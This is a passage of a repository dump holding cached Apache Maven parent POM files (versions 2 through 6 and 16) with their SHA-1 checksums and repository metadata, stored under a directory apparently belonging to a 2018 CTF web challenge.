    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/asf/ -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>16</version>\n  <packaging>pom</packaging>\n\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <url>http://www.apache.org/</url>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <licenses>\n    <license>\n      <name>Apache License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n\n  <prerequisites><!-- just for information: not inherited in child poms -->\n    <maven>2.2.1</maven><!-- prerequisite of some plugins -->\n  </prerequisites>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-16</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-16</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-16</url>\n  </scm>\n\n  <distributionManagement>\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>\n    <sourceReleaseAssemblyDescriptor>source-release</sourceReleaseAssemblyDescriptor>\n    <gpg.useagent>true</gpg.useagent>\n    <arguments />\n    <!-- Specify the default compiler source/target as 1.4 for backwards compatibility -->\n    <maven.compiler.source>1.4</maven.compiler.source>\n    <maven.compiler.target>1.4</maven.compiler.target>    \n  </properties>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <!-- set versions of common plugins for reproducibility, ordered alphabetically -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-antrun-plugin</artifactId>\n          <version>1.7</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>2.4.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-clean-plugin</artifactId>\n          <version>2.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>3.1</version>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-dependency-plugin</artifactId>\n          <version>2.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-deploy-plugin</artifactId>\n          <version>2.8.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-docck-plugin</artifactId>\n          <version>1.0</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-enforcer-plugin</artifactId>\n          <version>1.3.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-failsafe-plugin</artifactId>\n          <version>2.17</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-install-plugin</artifactId>\n          <version>2.5.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-invoker-plugin</artifactId>\n          <version>1.9</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>2.5</version>\n          <configuration>\n            <archive>\n              <manifest>\n                <addDefaultSpecificationEntries>true</addDefaultSpecificationEntries>\n                <addDefaultImplementationEntries>true</addDefaultImplementationEntries>\n              </manifest>\n            </archive>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>2.9.1</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>3.3</version>\n        </plugin>\n        <!-- START SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <useReleaseProfile>false</useReleaseProfile>\n            <goals>deploy</goals>\n            <arguments>-Papache-release ${arguments}</arguments>\n            <waitBeforeTagging>10</waitBeforeTagging>\n          </configuration>\n        </plugin>\n        <!-- END SNIPPET: release-plugin-configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-remote-resources-plugin</artifactId>\n          <version>1.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>2.6</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-plugin</artifactId>\n          <version>1.9.2</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <version>1.0-beta-2</version><!-- last version compatible with Maven 2: latest is configured in profile -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <version>3.4</version>\n          <dependencies><!-- TODO remove when upgrading m-site-p to 3.4.1: see MSITE-724 -->\n            <dependency>\n              <groupId>org.apache.maven</groupId>\n              <artifactId>maven-archiver</artifactId>\n              <version>2.5</version>\n            </dependency>\n            <dependency>\n              <groupId>org.codehaus.plexus</groupId>\n              <artifactId>plexus-archiver</artifactId>\n              <version>2.4.4</version>\n            </dependency>\n          </dependencies>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>2.3</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>2.17</version><!-- keep maven-failsafe-plugin in sync -->\n        </plugin>\n        <plugin>\n          <groupId>org.apache.rat</groupId>\n          <artifactId>apache-rat-plugin</artifactId>\n          <version>0.11</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>clirr-maven-plugin</artifactId>\n          <version>2.6.1</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <!-- We want to package up license resources in the JARs produced -->\n      <plugin>\n        <groupId>org.apache.maven.plugins</groupId>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n            <configuration>\n              <resourceBundles>\n                <resourceBundle>org.apache:apache-jar-resource-bundle:1.4</resourceBundle>\n              </resourceBundles>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n\n  <profiles>\n    <!-- START SNIPPET: release-profile -->\n    <profile>\n      <id>apache-release</id>\n      <build>\n        <plugins>\n          <!-- Create a source-release artifact that contains the fully buildable \n               project directory source structure. This is the artifact which is \n               the official subject of any release vote. -->\n          <plugin>\n            <artifactId>maven-assembly-plugin</artifactId>\n            <dependencies>\n              <dependency>\n                <groupId>org.apache.apache.resources</groupId>\n                <artifactId>apache-source-release-assembly-descriptor</artifactId>\n                <version>1.0.4</version>\n              </dependency>\n            </dependencies>\n            <executions>\n              <execution>\n                <id>source-release-assembly</id>\n                <phase>package</phase>\n                <goals>\n                  <goal>single</goal>\n                </goals>\n                <configuration>\n                  <runOnlyAtExecutionRoot>true</runOnlyAtExecutionRoot>\n                  <descriptorRefs>\n                    <descriptorRef>${sourceReleaseAssemblyDescriptor}</descriptorRef>\n                  </descriptorRefs>\n                  <tarLongFileMode>gnu</tarLongFileMode>\n                </configuration>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to deploy the artifact to a staging location for perusal -->\n          <plugin>\n            <inherited>true</inherited>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-deploy-plugin</artifactId>\n            <configuration>\n              <updateReleaseInfo>true</updateReleaseInfo>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-source-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-sources</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-javadocs</id>\n                <goals>\n                  <goal>jar</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n          <!-- We want to sign the artifact, the POM, and all attached artifacts -->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-gpg-plugin</artifactId>\n            <executions>\n              <execution>\n                <goals>\n                  <goal>sign</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <!-- END SNIPPET: release-profile -->\n\n    <profile>\n      <id>maven-3</id>\n      <activation>\n        <file>\n          <!--  This employs that the basedir expression is only recognized by Maven 3.x (see MNG-2363) -->\n          <exists>${basedir}</exists>\n        </file>\n      </activation>\n      <build>\n        <pluginManagement>\n          <plugins>\n            <plugin>\n              <groupId>org.apache.maven.plugins</groupId>\n              <artifactId>maven-scm-publish-plugin</artifactId>\n              <version>1.1</version>\n            </plugin>\n          </plugins>\n        </pluginManagement>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-site-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>attach-descriptor</id>\n                <goals>\n                  <goal>attach-descriptor</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>    \n  </profiles>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/16/apache-16.pom.sha1",
    "content": "8a90e31780e5cd0685ccaf25836c66e3b4e163b7"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:01:40 CST 2018\napache-2.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/apache-2.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n  ~ Copyright 2005-2006 The Apache Software Foundation.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>2</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://people.apache.org/maven-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>scp://people.apache.org/www/www.apache.org/dist/maven-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>scp://people.apache.org/www/cvs.apache.org/maven-snapshot-repository</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/2/apache-2.pom.sha1",
    "content": "bfe8f1ae400b4fdf0365b6b61cde3a6cae5750e3\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:58:24 CST 2018\napache-3.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/apache-3.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\n  ~ Copyright 2005-2006 The Apache Software Foundation.\n  ~\n  ~ Licensed under the Apache License, Version 2.0 (the \"License\");\n  ~ you may not use this file except in compliance with the License.\n  ~ You may obtain a copy of the License at\n  ~\n  ~      http://www.apache.org/licenses/LICENSE-2.0\n  ~\n  ~ Unless required by applicable law or agreed to in writing, software\n  ~ distributed under the License is distributed on an \"AS IS\" BASIS,\n  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n  ~ See the License for the specific language governing permissions and\n  ~ limitations under the License.\n  -->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>3</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/3/apache-3.pom.sha1",
    "content": "1bc0010136a890e2fd38d901a0b7ecdf0e3f9871 *./apache-3.pom\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:55:54 CST 2018\napache-4.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/apache-4.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>4</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://people.apache.org/repo/m2-snapshot-repository</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-ibiblio-rsync-repository</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots</id>\n      <name>Apache Development Snapshot Repository</name>\n      <url>scp://people.apache.org/www/people.apache.org/repo/m2-snapshot-repository</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n  <properties>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n  </properties>\n  <!--\n  <build>\n    <plugins>\n      <plugin>\n        <artifactId>maven-remote-resources-plugin</artifactId>\n        <configuration>\n          <artifacts>\n            <artifact>org.apache:apache-distribution-resources:1.0-SNAPSHOT</artifact>\n          </artifacts>\n        </configuration>\n        <executions>\n          <execution>\n            <goals>\n              <goal>process</goal>\n            </goals>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  -->\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-4</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-4</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-4</url>\n  </scm>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/4/apache-4.pom.sha1",
    "content": "602b647986c1d24301bc3d70e5923696bc7f1401"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:36 CST 2018\napache-5.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/apache-5.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>5</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n    The Apache Software Foundation provides support for the Apache community of open-source software projects.\n    The Apache projects are characterized by a collaborative, consensus based development process, an open and\n    pragmatic software license, and a desire to create high quality software that leads the way in its field.\n    We consider ourselves not simply a group of projects sharing a server, but rather a community of developers\n    and users.\n  </description>\n  <licenses>\n    <license>\n      <name>The Apache Software License, Version 2.0</name>\n      <url>http://www.apache.org/licenses/LICENSE-2.0.txt</url>\n      <distribution>repo</distribution>\n    </license>\n  </licenses>\n  <organization>\n    <name>The Apache Software Foundation</name>\n    <url>http://www.apache.org/</url>\n  </organization>\n  <url>http://www.apache.org/</url>\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <distributionManagement>\n    <!-- Site omitted - each project must provide their own -->\n    <repository>\n      <id>apache.releases.https</id>\n      <name>Apache Release Distribution Repository</name>\n      <url>https://repository.apache.org/service/local/staging/deploy/maven2</url>\n    </repository>\n    <snapshotRepository>\n      <id>apache.snapshots.https</id>\n      <name>${distMgmtSnapshotsName}</name>\n      <url>${distMgmtSnapshotsUrl}</url>\n    </snapshotRepository>\n  </distributionManagement>\n  <mailingLists>\n    <mailingList>\n      <name>Apache Announce List</name>\n      <subscribe>announce-subscribe@apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@apache.org</unsubscribe>\n      <post>announce@apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/www-announce/</archive>\n    </mailingList>\n  </mailingLists>\n  <properties>\n    <distMgmtSnapshotsName>Apache Development Snapshot Repository</distMgmtSnapshotsName>\n    <distMgmtSnapshotsUrl>https://repository.apache.org/content/repositories/snapshots</distMgmtSnapshotsUrl>\n    <organization.logo>http://www.apache.org/images/asf_logo_wide.gif</organization.logo>\n  </properties>\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/apache-5</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/apache-5</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/apache-5</url>\n  </scm>\n</project>\n\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/5/apache-5.pom.sha1",
    "content": "a99e211eb2be05af269c489b0f1abb9e8469fbca"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 11:00:08 CST 2018\napache-6.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/apache/6/apache-6.pom",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- Shared parent. Doesn't define a lot of things about Apache like general mailing lists, but does\n       define the settings common to all projects at Apache \n       \n       As of Version 6, this includes a standard release profile that all projects can use. If the profile is not appropriate for your project, define your own release profile and change the release plugin configuration parameter <arguments> </arguments> to activate your profile instead of the apache-release profile.\n       \n      Standard versions of plugins are also defined, these may be overridden by individual projects as well.\n       -->\n  <groupId>org.apache</groupId>\n  <artifactId>apache</artifactId>\n  <version>6</version>\n  <packaging>pom</packaging>\n  <name>The Apache Software Foundation</name>\n  <description>\n  